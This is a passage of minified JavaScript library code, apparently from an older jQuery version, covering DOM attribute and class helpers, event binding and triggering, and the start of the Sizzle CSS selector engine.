q = /^(?:button|input)$/i,
r = /^(?:button|input|object|select|textarea)$/i,
s = /^a(?:rea)?$/i,
t = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
u = /\:/,
v, w;
f.fn.extend({
attr: function(a, b) {
return f.access(this, a, b, !0, f.attr)
},
removeAttr: function(a) {
return this.each(function() {
f.removeAttr(this, a)
})
},
prop: function(a, b) {
return f.access(this, a, b, !0, f.prop)
},
removeProp: function(a) {
a = f.propFix[a] || a;
return this.each(function() {
try {
this[a] = b, delete this[a]
} catch (c) {}
})
},
addClass: function(a) {
if (f.isFunction(a)) return this.each(function(b) {
var c = f(this);
c.addClass(a.call(this, b, c.attr("class") || ""))
});
if (a && typeof a == "string") {
var b = (a || "").split(o);
for (var c = 0, d = this.length; c < d; c++) {
var e = this[c];
if (e.nodeType === 1) if (!e.className) e.className = a;
else {
var g = " " + e.className + " ",
h = e.className;
for (var i = 0, j = b.length; i < j; i++) g.indexOf(" " + b[i] + " ") < 0 && (h += " " + b[i]);
e.className = f.trim(h)
}
}
}
return this
},
removeClass: function(a) {
if (f.isFunction(a)) return this.each(function(b) {
var c = f(this);
c.removeClass(a.call(this, b, c.attr("class")))
});
if (a && typeof a == "string" || a === b) {
var c = (a || "").split(o);
for (var d = 0, e = this.length; d < e; d++) {
var g = this[d];
if (g.nodeType === 1 && g.className) if (a) {
var h = (" " + g.className + " ").replace(n, " ");
for (var i = 0, j = c.length; i < j; i++) h = h.replace(" " + c[i] + " ", " ");
g.className = f.trim(h)
} else g.className = ""
}
}
return this
},
toggleClass: function(a, b) {
var c = typeof a,
d = typeof b == "boolean";
if (f.isFunction(a)) return this.each(function(c) {
var d = f(this);
d.toggleClass(a.call(this, c, d.attr("class"), b), b)
});
return this.each(function() {
if (c === "string") {
var e, g = 0,
h = f(this),
i = b,
j = a.split(o);
while (e = j[g++]) i = d ? i : !h.hasClass(e), h[i ? "addClass" : "removeClass"](e)
} else if (c === "undefined" || c === "boolean") this.className && f._data(this, "__className__", this.className), this.className = this.className || a === !1 ? "" : f._data(this, "__className__") || ""
})
},
hasClass: function(a) {
var b = " " + a + " ";
for (var c = 0, d = this.length; c < d; c++) if ((" " + this[c].className + " ").replace(n, " ").indexOf(b) > -1) return !0;
return !1
},
val: function(a) {
var c, d, e = this[0];
if (!arguments.length) {
if (e) {
c = f.valHooks[e.nodeName.toLowerCase()] || f.valHooks[e.type];
if (c && "get" in c && (d = c.get(e, "value")) !== b) return d;
return (e.value || "").replace(p, "")
}
return b
}
var g = f.isFunction(a);
return this.each(function(d) {
var e = f(this),
h;
if (this.nodeType === 1) {
g ? h = a.call(this, d, e.val()) : h = a, h == null ? h = "" : typeof h == "number" ? h += "" : f.isArray(h) && (h = f.map(h, function(a) {
return a == null ? "" : a + ""
})), c = f.valHooks[this.nodeName.toLowerCase()] || f.valHooks[this.type];
if (!c || !("set" in c) || c.set(this, h, "value") === b) this.value = h
}
})
}
}), f.extend({
valHooks: {
option: {
get: function(a) {
var b = a.attributes.value;
return !b || b.specified ? a.value : a.text
}
},
select: {
get: function(a) {
var b, c = a.selectedIndex,
d = [],
e = a.options,
g = a.type === "select-one";
if (c < 0) return null;
for (var h = g ? c : 0, i = g ? c + 1 : e.length; h < i; h++) {
var j = e[h];
if (j.selected && (f.support.optDisabled ? !j.disabled : j.getAttribute("disabled") === null) && (!j.parentNode.disabled || !f.nodeName(j.parentNode, "optgroup"))) {
b = f(j).val();
if (g) return b;
d.push(b)
}
}
if (g && !d.length && e.length) return f(e[c]).val();
return d
},
set: function(a, b) {
var c = f.makeArray(b);
f(a).find("option").each(function() {
this.selected = f.inArray(f(this).val(), c) >= 0
}), c.length || (a.selectedIndex = -1);
return c
}
}
},
attrFn: {
val: !0,
css: !0,
html: !0,
text: !0,
data: !0,
width: !0,
height: !0,
offset: !0
},
attrFix: {
tabindex: "tabIndex"
},
attr: function(a, c, d, e) {
var g = a.nodeType;
if (!a || g === 3 || g === 8 || g === 2) return b;
if (e && c in f.attrFn) return f(a)[c](d);
if (!("getAttribute" in a)) return f.prop(a, c, d);
var h, i, j = g !== 1 || !f.isXMLDoc(a);
c = j && f.attrFix[c] || c, i = f.attrHooks[c], i || (!t.test(c) || typeof d != "boolean" && d !== b && d.toLowerCase() !== c.toLowerCase() ? v && (f.nodeName(a, "form") || u.test(c)) && (i = v) : i = w);
if (d !== b) {
if (d === null) {
f.removeAttr(a, c);
return b
}
if (i && "set" in i && j && (h = i.set(a, d, c)) !== b) return h;
a.setAttribute(c, "" + d);
return d
}
if (i && "get" in i && j) return i.get(a, c);
h = a.getAttribute(c);
return h === null ? b : h
},
removeAttr: function(a, b) {
var c;
a.nodeType === 1 && (b = f.attrFix[b] || b, f.support.getSetAttribute ? a.removeAttribute(b) : (f.attr(a, b, ""), a.removeAttributeNode(a.getAttributeNode(b))), t.test(b) && (c = f.propFix[b] || b) in a && (a[c] = !1))
},
attrHooks: {
type: {
set: function(a, b) {
if (q.test(a.nodeName) && a.parentNode) f.error("type property can't be changed");
else if (!f.support.radioValue && b === "radio" && f.nodeName(a, "input")) {
var c = a.value;
a.setAttribute("type", b), c && (a.value = c);
return b
}
}
},
tabIndex: {
get: function(a) {
var c = a.getAttributeNode("tabIndex");
return c && c.specified ? parseInt(c.value, 10) : r.test(a.nodeName) || s.test(a.nodeName) && a.href ? 0 : b
}
}
},
propFix: {
tabindex: "tabIndex",
readonly: "readOnly",
"for": "htmlFor",
"class": "className",
maxlength: "maxLength",
cellspacing: "cellSpacing",
cellpadding: "cellPadding",
rowspan: "rowSpan",
colspan: "colSpan",
usemap: "useMap",
frameborder: "frameBorder",
contenteditable: "contentEditable"
},
prop: function(a, c, d) {
var e = a.nodeType;
if (!a || e === 3 || e === 8 || e === 2) return b;
var g, h, i = e !== 1 || !f.isXMLDoc(a);
c = i && f.propFix[c] || c, h = f.propHooks[c];
return d !== b ? h && "set" in h && (g = h.set(a, d, c)) !== b ? g : a[c] = d : h && "get" in h && (g = h.get(a, c)) !== b ? g : a[c]
},
propHooks: {}
}), w = {
get: function(a, c) {
return a[f.propFix[c] || c] ? c.toLowerCase() : b
},
set: function(a, b, c) {
var d;
b === !1 ? f.removeAttr(a, c) : (d = f.propFix[c] || c, d in a && (a[d] = b), a.setAttribute(c, c.toLowerCase()));
return c
}
}, f.attrHooks.value = {
get: function(a, b) {
if (v && f.nodeName(a, "button")) return v.get(a, b);
return a.value
},
set: function(a, b, c) {
if (v && f.nodeName(a, "button")) return v.set(a, b, c);
a.value = b
}
}, f.support.getSetAttribute || (f.attrFix = f.propFix, v = f.attrHooks.name = f.valHooks.button = {
get: function(a, c) {
var d;
d = a.getAttributeNode(c);
return d && d.nodeValue !== "" ? d.nodeValue : b
},
set: function(a, b, c) {
var d = a.getAttributeNode(c);
if (d) {
d.nodeValue = b;
return b
}
}
}, f.each(["width", "height"], function(a, b) {
f.attrHooks[b] = f.extend(f.attrHooks[b], {
set: function(a, c) {
if (c === "") {
a.setAttribute(b, "auto");
return c
}
}
})
})), f.support.hrefNormalized || f.each(["href", "src", "width", "height"], function(a, c) {
f.attrHooks[c] = f.extend(f.attrHooks[c], {
get: function(a) {
var d = a.getAttribute(c, 2);
return d === null ? b : d
}
})
}), f.support.style || (f.attrHooks.style = {
get: function(a) {
return a.style.cssText.toLowerCase() || b
},
set: function(a, b) {
return a.style.cssText = "" + b
}
}), f.support.optSelected || (f.propHooks.selected = f.extend(f.propHooks.selected, {
get: function(a) {
var b = a.parentNode;
b && (b.selectedIndex, b.parentNode && b.parentNode.selectedIndex)
}
})), f.support.checkOn || f.each(["radio", "checkbox"], function() {
f.valHooks[this] = {
get: function(a) {
return a.getAttribute("value") === null ? "on" : a.value
}
}
}), f.each(["radio", "checkbox"], function() {
f.valHooks[this] = f.extend(f.valHooks[this], {
set: function(a, b) {
if (f.isArray(b)) return a.checked = f.inArray(f(a).val(), b) >= 0
}
})
});
var x = Object.prototype.hasOwnProperty,
y = /\.(.*)$/,
z = /^(?:textarea|input|select)$/i,
A = /\./g,
B = / /g,
C = /[^\w\s.|`]/g,
D = function(a) {
return a.replace(C, "\\$&")
};
f.event = {
add: function(a, c, d, e) {
if (a.nodeType !== 3 && a.nodeType !== 8) {
if (d === !1) d = E;
else if (!d) return;
var g, h;
d.handler && (g = d, d = g.handler), d.guid || (d.guid = f.guid++);
var i = f._data(a);
if (!i) return;
var j = i.events,
k = i.handle;
j || (i.events = j = {}), k || (i.handle = k = function(a) {
return typeof f != "undefined" && (!a || f.event.triggered !== a.type) ? f.event.handle.apply(k.elem, arguments) : b
}), k.elem = a, c = c.split(" ");
var l, m = 0,
n;
while (l = c[m++]) {
h = g ? f.extend({}, g) : {
handler: d,
data: e
}, l.indexOf(".") > -1 ? (n = l.split("."), l = n.shift(), h.namespace = n.slice(0).sort().join(".")) : (n = [], h.namespace = ""), h.type = l, h.guid || (h.guid = d.guid);
var o = j[l],
p = f.event.special[l] || {};
if (!o) {
o = j[l] = [];
if (!p.setup || p.setup.call(a, e, n, k) === !1) a.addEventListener ? a.addEventListener(l, k, !1) : a.attachEvent && a.attachEvent("on" + l, k)
}
p.add && (p.add.call(a, h), h.handler.guid || (h.handler.guid = d.guid)), o.push(h), f.event.global[l] = !0
}
a = null
}
},
global: {},
remove: function(a, c, d, e) {
if (a.nodeType !== 3 && a.nodeType !== 8) {
d === !1 && (d = E);
var g, h, i, j, k = 0,
l, m, n, o, p, q, r, s = f.hasData(a) && f._data(a),
t = s && s.events;
if (!s || !t) return;
c && c.type && (d = c.handler, c = c.type);
if (!c || typeof c == "string" && c.charAt(0) === ".") {
c = c || "";
for (h in t) f.event.remove(a, h + c);
return
}
c = c.split(" ");
while (h = c[k++]) {
r = h, q = null, l = h.indexOf(".") < 0, m = [], l || (m = h.split("."), h = m.shift(), n = new RegExp("(^|\\.)" + f.map(m.slice(0).sort(), D).join("\\.(?:.*\\.)?") + "(\\.|$)")), p = t[h];
if (!p) continue;
if (!d) {
for (j = 0; j < p.length; j++) {
q = p[j];
if (l || n.test(q.namespace)) f.event.remove(a, r, q.handler, j), p.splice(j--, 1)
}
continue
}
o = f.event.special[h] || {};
for (j = e || 0; j < p.length; j++) {
q = p[j];
if (d.guid === q.guid) {
if (l || n.test(q.namespace)) e == null && p.splice(j--, 1), o.remove && o.remove.call(a, q);
if (e != null) break
}
}
if (p.length === 0 || e != null && p.length === 1)(!o.teardown || o.teardown.call(a, m) === !1) && f.removeEvent(a, h, s.handle), g = null, delete t[h]
}
if (f.isEmptyObject(t)) {
var u = s.handle;
u && (u.elem = null), delete s.events, delete s.handle, f.isEmptyObject(s) && f.removeData(a, b, !0)
}
}
},
customEvent: {
getData: !0,
setData: !0,
changeData: !0
},
trigger: function(c, d, e, g) {
var h = c.type || c,
i = [],
j;
h.indexOf("!") >= 0 && (h = h.slice(0, -1), j = !0), h.indexOf(".") >= 0 && (i = h.split("."), h = i.shift(), i.sort());
if ( !! e && !f.event.customEvent[h] || !! f.event.global[h]) {
c = typeof c == "object" ? c[f.expando] ? c : new f.Event(h, c) : new f.Event(h), c.type = h, c.exclusive = j, c.namespace = i.join("."), c.namespace_re = new RegExp("(^|\\.)" + i.join("\\.(?:.*\\.)?") + "(\\.|$)");
if (g || !e) c.preventDefault(), c.stopPropagation();
if (!e) {
f.each(f.cache, function() {
var a = f.expando,
b = this[a];
b && b.events && b.events[h] && f.event.trigger(c, d, b.handle.elem)
});
return
}
if (e.nodeType === 3 || e.nodeType === 8) return;
c.result = b, c.target = e, d = d ? f.makeArray(d) : [], d.unshift(c);
var k = e,
l = h.indexOf(":") < 0 ? "on" + h : "";
do {
var m = f._data(k, "handle");
c.currentTarget = k, m && m.apply(k, d), l && f.acceptData(k) && k[l] && k[l].apply(k, d) === !1 && (c.result = !1, c.preventDefault()), k = k.parentNode || k.ownerDocument || k === c.target.ownerDocument && a
} while (k && !c.isPropagationStopped());
if (!c.isDefaultPrevented()) {
var n, o = f.event.special[h] || {};
if ((!o._default || o._default.call(e.ownerDocument, c) === !1) && (h !== "click" || !f.nodeName(e, "a")) && f.acceptData(e)) {
try {
l && e[h] && (n = e[l], n && (e[l] = null), f.event.triggered = h, e[h]())
} catch (p) {}
n && (e[l] = n), f.event.triggered = b
}
}
return c.result
}
},
handle: function(c) {
c = f.event.fix(c || a.event);
var d = ((f._data(this, "events") || {})[c.type] || []).slice(0),
e = !c.exclusive && !c.namespace,
g = Array.prototype.slice.call(arguments, 0);
g[0] = c, c.currentTarget = this;
for (var h = 0, i = d.length; h < i; h++) {
var j = d[h];
if (e || c.namespace_re.test(j.namespace)) {
c.handler = j.handler, c.data = j.data, c.handleObj = j;
var k = j.handler.apply(this, g);
k !== b && (c.result = k, k === !1 && (c.preventDefault(), c.stopPropagation()));
if (c.isImmediatePropagationStopped()) break
}
}
return c.result
},
props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
fix: function(a) {
if (a[f.expando]) return a;
var d = a;
a = f.Event(d);
for (var e = this.props.length, g; e;) g = this.props[--e], a[g] = d[g];
a.target || (a.target = a.srcElement || c), a.target.nodeType === 3 && (a.target = a.target.parentNode), !a.relatedTarget && a.fromElement && (a.relatedTarget = a.fromElement === a.target ? a.toElement : a.fromElement);
if (a.pageX == null && a.clientX != null) {
var h = a.target.ownerDocument || c,
i = h.documentElement,
j = h.body;
a.pageX = a.clientX + (i && i.scrollLeft || j && j.scrollLeft || 0) - (i && i.clientLeft || j && j.clientLeft || 0), a.pageY = a.clientY + (i && i.scrollTop || j && j.scrollTop || 0) - (i && i.clientTop || j && j.clientTop || 0)
}
a.which == null && (a.charCode != null || a.keyCode != null) && (a.which = a.charCode != null ? a.charCode : a.keyCode), !a.metaKey && a.ctrlKey && (a.metaKey = a.ctrlKey), !a.which && a.button !== b && (a.which = a.button & 1 ? 1 : a.button & 2 ? 3 : a.button & 4 ? 2 : 0);
return a
},
guid: 1e8,
proxy: f.proxy,
special: {
ready: {
setup: f.bindReady,
teardown: f.noop
},
live: {
add: function(a) {
f.event.add(this, O(a.origType, a.selector), f.extend({}, a, {
handler: N,
guid: a.handler.guid
}))
},
remove: function(a) {
f.event.remove(this, O(a.origType, a.selector), a)
}
},
beforeunload: {
setup: function(a, b, c) {
f.isWindow(this) && (this.onbeforeunload = c)
},
teardown: function(a, b) {
this.onbeforeunload === b && (this.onbeforeunload = null)
}
}
}
}, f.removeEvent = c.removeEventListener ?
function(a, b, c) {
a.removeEventListener && a.removeEventListener(b, c, !1)
} : function(a, b, c) {
a.detachEvent && a.detachEvent("on" + b, c)
}, f.Event = function(a, b) {
if (!this.preventDefault) return new f.Event(a, b);
a && a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || a.returnValue === !1 || a.getPreventDefault && a.getPreventDefault() ? F : E) : this.type = a, b && f.extend(this, b), this.timeStamp = f.now(), this[f.expando] = !0
}, f.Event.prototype = {
preventDefault: function() {
this.isDefaultPrevented = F;
var a = this.originalEvent;
!a || (a.preventDefault ? a.preventDefault() : a.returnValue = !1)
},
stopPropagation: function() {
this.isPropagationStopped = F;
var a = this.originalEvent;
!a || (a.stopPropagation && a.stopPropagation(), a.cancelBubble = !0)
},
stopImmediatePropagation: function() {
this.isImmediatePropagationStopped = F, this.stopPropagation()
},
isDefaultPrevented: E,
isPropagationStopped: E,
isImmediatePropagationStopped: E
};
var G = function(a) {
var b = a.relatedTarget;
a.type = a.data;
try {
if (b && b !== c && !b.parentNode) return;
while (b && b !== this) b = b.parentNode;
b !== this && f.event.handle.apply(this, arguments)
} catch (d) {}
},
H = function(a) {
a.type = a.data, f.event.handle.apply(this, arguments)
};
f.each({
mouseenter: "mouseover",
mouseleave: "mouseout"
}, function(a, b) {
f.event.special[a] = {
setup: function(c) {
f.event.add(this, b, c && c.selector ? H : G, a)
},
teardown: function(a) {
f.event.remove(this, b, a && a.selector ? H : G)
}
}
}), f.support.submitBubbles || (f.event.special.submit = {
setup: function(a, b) {
if (!f.nodeName(this, "form")) f.event.add(this, "click.specialSubmit", function(a) {
var b = a.target,
c = b.type;
(c === "submit" || c === "image") && f(b).closest("form").length && L("submit", this, arguments)
}), f.event.add(this, "keypress.specialSubmit", function(a) {
var b = a.target,
c = b.type;
(c === "text" || c === "password") && f(b).closest("form").length && a.keyCode === 13 && L("submit", this, arguments)
});
else return !1
},
teardown: function(a) {
f.event.remove(this, ".specialSubmit")
}
});
if (!f.support.changeBubbles) {
var I, J = function(a) {
var b = a.type,
c = a.value;
b === "radio" || b === "checkbox" ? c = a.checked : b === "select-multiple" ? c = a.selectedIndex > -1 ? f.map(a.options, function(a) {
return a.selected
}).join("-") : "" : f.nodeName(a, "select") && (c = a.selectedIndex);
return c
},
K = function(c) {
var d = c.target,
e, g;
if ( !! z.test(d.nodeName) && !d.readOnly) {
e = f._data(d, "_change_data"), g = J(d), (c.type !== "focusout" || d.type !== "radio") && f._data(d, "_change_data", g);
if (e === b || g === e) return;
if (e != null || g) c.type = "change", c.liveFired = b, f.event.trigger(c, arguments[1], d)
}
};
f.event.special.change = {
filters: {
focusout: K,
beforedeactivate: K,
click: function(a) {
var b = a.target,
c = f.nodeName(b, "input") ? b.type : "";
(c === "radio" || c === "checkbox" || f.nodeName(b, "select")) && K.call(this, a)
},
keydown: function(a) {
var b = a.target,
c = f.nodeName(b, "input") ? b.type : "";
(a.keyCode === 13 && !f.nodeName(b, "textarea") || a.keyCode === 32 && (c === "checkbox" || c === "radio") || c === "select-multiple") && K.call(this, a)
},
beforeactivate: function(a) {
var b = a.target;
f._data(b, "_change_data", J(b))
}
},
setup: function(a, b) {
if (this.type === "file") return !1;
for (var c in I) f.event.add(this, c + ".specialChange", I[c]);
return z.test(this.nodeName)
},
teardown: function(a) {
f.event.remove(this, ".specialChange");
return z.test(this.nodeName)
}
}, I = f.event.special.change.filters, I.focus = I.beforeactivate
}
f.support.focusinBubbles || f.each({
focus: "focusin",
blur: "focusout"
}, function(a, b) {
function e(a) {
var c = f.event.fix(a);
c.type = b, c.originalEvent = {}, f.event.trigger(c, null, c.target), c.isDefaultPrevented() && a.preventDefault()
}
var d = 0;
f.event.special[b] = {
setup: function() {
d++ === 0 && c.addEventListener(a, e, !0)
},
teardown: function() {
--d === 0 && c.removeEventListener(a, e, !0)
}
}
}), f.each(["bind", "one"], function(a, c) {
f.fn[c] = function(a, d, e) {
var g;
if (typeof a == "object") {
for (var h in a) this[c](h, d, a[h], e);
return this
}
if (arguments.length === 2 || d === !1) e = d, d = b;
c === "one" ? (g = function(a) {
f(this).unbind(a, g);
return e.apply(this, arguments)
}, g.guid = e.guid || f.guid++) : g = e;
if (a === "unload" && c !== "one") this.one(a, d, e);
else for (var i = 0, j = this.length; i < j; i++) f.event.add(this[i], a, g, d);
return this
}
}), f.fn.extend({
unbind: function(a, b) {
if (typeof a == "object" && !a.preventDefault) for (var c in a) this.unbind(c, a[c]);
else for (var d = 0, e = this.length; d < e; d++) f.event.remove(this[d], a, b);
return this
},
delegate: function(a, b, c, d) {
return this.live(b, c, d, a)
},
undelegate: function(a, b, c) {
return arguments.length === 0 ? this.unbind("live") : this.die(b, null, c, a)
},
trigger: function(a, b) {
return this.each(function() {
f.event.trigger(a, b, this)
})
},
triggerHandler: function(a, b) {
if (this[0]) return f.event.trigger(a, b, this[0], !0)
},
toggle: function(a) {
var b = arguments,
c = a.guid || f.guid++,
d = 0,
e = function(c) {
var e = (f.data(this, "lastToggle" + a.guid) || 0) % d;
f.data(this, "lastToggle" + a.guid, e + 1), c.preventDefault();
return b[e].apply(this, arguments) || !1
};
e.guid = c;
while (d < b.length) b[d++].guid = c;
return this.click(e)
},
hover: function(a, b) {
return this.mouseenter(a).mouseleave(b || a)
}
});
var M = {
focus: "focusin",
blur: "focusout",
mouseenter: "mouseover",
mouseleave: "mouseout"
};
f.each(["live", "die"], function(a, c) {
f.fn[c] = function(a, d, e, g) {
var h, i = 0,
j, k, l, m = g || this.selector,
n = g ? this : f(this.context);
if (typeof a == "object" && !a.preventDefault) {
for (var o in a) n[c](o, d, a[o], m);
return this
}
if (c === "die" && !a && g && g.charAt(0) === ".") {
n.unbind(g);
return this
}
if (d === !1 || f.isFunction(d)) e = d || E, d = b;
a = (a || "").split(" ");
while ((h = a[i++]) != null) {
j = y.exec(h), k = "", j && (k = j[0], h = h.replace(y, ""));
if (h === "hover") {
a.push("mouseenter" + k, "mouseleave" + k);
continue
}
l = h, M[h] ? (a.push(M[h] + k), h = h + k) : h = (M[h] || h) + k;
if (c === "live") for (var p = 0, q = n.length; p < q; p++) f.event.add(n[p], "live." + O(h, m), {
data: d,
selector: m,
handler: e,
origType: h,
origHandler: e,
preType: l
});
else n.unbind("live." + O(h, m), e)
}
return this
}
}), f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "), function(a, b) {
f.fn[b] = function(a, c) {
c == null && (c = a, a = null);
return arguments.length > 0 ? this.bind(b, a, c) : this.trigger(b)
}, f.attrFn && (f.attrFn[b] = !0)
}), function() {
function u(a, b, c, d, e, f) {
for (var g = 0, h = d.length; g < h; g++) {
var i = d[g];
if (i) {
var j = !1;
i = i[a];
while (i) {
if (i.sizcache === c) {
j = d[i.sizset];
break
}
if (i.nodeType === 1) {
f || (i.sizcache = c, i.sizset = g);
if (typeof b != "string") {
if (i === b) {
j = !0;
break
}
} else if (k.filter(b, [i]).length > 0) {
j = i;
break
}
}
i = i[a]
}
d[g] = j
}
}
}
function t(a, b, c, d, e, f) {
for (var g = 0, h = d.length; g < h; g++) {
var i = d[g];
if (i) {
var j = !1;
i = i[a];
while (i) {
if (i.sizcache === c) {
j = d[i.sizset];
break
}
i.nodeType === 1 && !f && (i.sizcache = c, i.sizset = g);
if (i.nodeName.toLowerCase() === b) {
j = i;
break
}
i = i[a]
}
d[g] = j
}
}
}
var a = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
d = 0,
e = Object.prototype.toString,
g = !1,
h = !0,
i = /\\/g,
j = /\W/;
[0, 0].sort(function() {
h = !1;
return 0
});
var k = function(b, d, f, g) {
f = f || [], d = d || c;
var h = d;
if (d.nodeType !== 1 && d.nodeType !== 9) return [];
if (!b || typeof b != "string") return f;
var i, j, n, o, q, r, s, t, u = !0,
w = k.isXML(d),
x = [],
y = b;
do {
a.exec(""), i = a.exec(y);
if (i) {
y = i[3], x.push(i[1]);
if (i[2]) {
o = i[3];
break
}
}
} while (i);
if (x.length > 1 && m.exec(b)) if (x.length === 2 && l.relative[x[0]]) j = v(x[0] + x[1], d);
else {
j = l.relative[x[0]] ? [d] : k(x.shift(), d);
while (x.length) b = x.shift(), l.relative[b] && (b += x.shift()), j = v(b, j)
} else {
!g && x.length > 1 && d.nodeType === 9 && !w && l.match.ID.test(x[0]) && !l.match.ID.test(x[x.length - 1]) && (q = k.find(x.shift(), d, w), d = q.expr ? k.filter(q.expr, q.set)[0] : q.set[0]);
if (d) {
q = g ? {
expr: x.pop(),
set: p(g)
} : k.find(x.pop(), x.length === 1 && (x[0] === "~" || x[0] === "+") && d.parentNode ? d.parentNode : d, w), j = q.expr ? k.filter(q.expr, q.set) : q.set, x.length > 0 ? n = p(j) : u = !1;
while (x.length) r = x.pop(), s = r, l.relative[r] ? s = x.pop() : r = "", s == null && (s = d), l.relative[r](n, s, w)
} else n = x = []
}
n || (n = j), n || k.error(r || b);
if (e.call(n) === "[object Array]") if (!u) f.push.apply(f, n);
else if (d && d.nodeType === 1) for (t = 0; n[t] != null; t++) n[t] && (n[t] === !0 || n[t].nodeType === 1 && k.contains(d, n[t])) && f.push(j[t]);
else for (t = 0; n[t] != null; t++) n[t] && n[t].nodeType === 1 && f.push(j[t]);
else p(n, f);
o && (k(o, h, f, g), k.uniqueSort(f));
return f
};
k.uniqueSort = function(a) {
if (r) {
g = h, a.sort(r);
if (g) for (var b = 1; b < a.length; b++) a[b] === a[b - 1] && a.splice(b--, 1)
}
return a
}, k.matches = function(a, b) {
return k(a, null, null, b)
}, k.matchesSelector = function(a, b) {
return k(b, null, null, [a]).length > 0
}, k.find = function(a, b, c) {
var d;
if (!a) return [];
for (var e = 0, f = l.order.length; e < f; e++) {
var g, h = l.order[e];
if (g = l.leftMatch[h].exec(a)) {
var j = g[1];
g.splice(1, 1);
if (j.substr(j.length - 1) !== "\\") {
g[1] = (g[1] || "").replace(i, ""), d = l.find[h](g, b, c);
if (d != null) {
a = a.replace(l.match[h], "");
break
}
}
}
}
d || (d = typeof b.getElementsByTagName != "undefined" ? b.getElementsByTagName("*") : []);
return {
set: d,
expr: a
}
}, k.filter = function(a, c, d, e) {
var f, g, h = a,
i = [],
j = c,
m = c && c[0] && k.isXML(c[0]);
while (a && c.length) {
for (var n in l.filter) if ((f = l.leftMatch[n].exec(a)) != null && f[2]) {
var o, p, q = l.filter[n],
r = f[1];
g = !1, f.splice(1, 1);
if (r.substr(r.length - 1) === "\\") continue;
j === i && (i = []);
if (l.preFilter[n]) {
f = l.preFilter[n](f, j, d, i, e, m);
if (!f) g = o = !0;
else if (f === !0) continue
}
if (f) for (var s = 0;
(p = j[s]) != null; s++) if (p) {
o = q(p, f, s, j);
var t = e ^ !! o;
d && o != null ? t ? g = !0 : j[s] = !1 : t && (i.push(p), g = !0)
}
if (o !== b) {
d || (j = i), a = a.replace(l.match[n], "");
if (!g) return [];
break
}
}
if (a === h) if (g == null) k.error(a);
else break;
h = a
}
return j
}, k.error = function(a) {
throw "Syntax error, unrecognized expression: " + a
};
var l = k.selectors = {
order: ["ID", "NAME", "TAG"],
match: {
ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
},
leftMatch: {},
attrMap: {
"class": "className",
"for": "htmlFor"
},
attrHandle: {
href: function(a) {
return a.getAttribute("href")
},
type: function(a) {
return a.getAttribute("type")
}
},
relative: {
"+": function(a, b) {
var c = typeof b == "string",
d = c && !j.test(b),
e = c && !d;
d && (b = b.toLowerCase());
for (var f = 0, g = a.length, h; f < g; f++) if (h = a[f]) {
while ((h = h.previousSibling) && h.nodeType !== 1);
a[f] = e || h && h.nodeName.toLowerCase() === b ? h || !1 : h === b
}
e && k.filter(b, a, !0)
},
">": function(a, b) {
var c, d = typeof b == "string",
e = 0,
f = a.length;
if (d && !j.test(b)) {
b = b.toLowerCase();
for (; e < f; e++) {
c = a[e];
if (c) {
var g = c.parentNode;
a[e] = g.nodeName.toLowerCase() === b ? g : !1
}
}
} else {
for (; e < f; e++) c = a[e], c && (a[e] = d ? c.parentNode : c.parentNode === b);
d && k.filter(b, a, !0)
}
},
"": function(a, b, c) {
var e, f = d++,
g = u;
typeof b == "string" && !j.test(b) && (b = b.toLowerCase(), e = b, g = t), g("parentNode", b, f, a, e, c)
},
"~": function(a, b, c) {
var e, f = d++,
g = u;
typeof b == "string" && !j.test(b) && (b = b.toLowerCase(), e = b, g = t), g("previousSibling", b, f, a, e, c)
}
},
find: {
ID: function(a, b, c) {
if (typeof b.getElementById != "undefined" && !c) {
var d = b.getElementById(a[1]);
return d && d.parentNode ? [d] : []
}
},
NAME: function(a, b) {
if (typeof b.getElementsByName != "undefined") {
var c = [],
d = b.getElementsByName(a[1]);
for (var e = 0, f = d.length; e < f; e++) d[e].getAttribute("name") === a[1] && c.push(d[e]);
return c.length === 0 ? null : c
}
},
TAG: function(a, b) {
if (typeof b.getElementsByTagName != "undefined") return b.getElementsByTagName(a[1])
}
},
preFilter: {
CLASS: function(a, b, c, d, e, f) {
a = " " + a[1].replace(i, "") + " ";
if (f) return a;
for (var g = 0, h;
(h = b[g]) != null; g++) h && (e ^ (h.className && (" " + h.className + " ").replace(/[\t\n\r]/g, " ").indexOf(a) >= 0) ? c || d.push(h) : c && (b[g] = !1));
return !1
},
ID: function(a) {
return a[1].replace(i, "")
},
TAG: function(a, b) {
return a[1].replace(i, "").toLowerCase()
},
CHILD: function(a) {
if (a[1] === "nth") {
a[2] || k.error(a[0]), a[2] = a[2].replace(/^\+|\s*/g, "");
var b = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2] === "even" && "2n" || a[2] === "odd" && "2n+1" || !/\D/.test(a[2]) && "0n+" + a[2] || a[2]);
a[2] = b[1] + (b[2] || 1) - 0, a[3] = b[3] - 0
} else a[2] && k.error(a[0]);
a[0] = d++;
return a
},
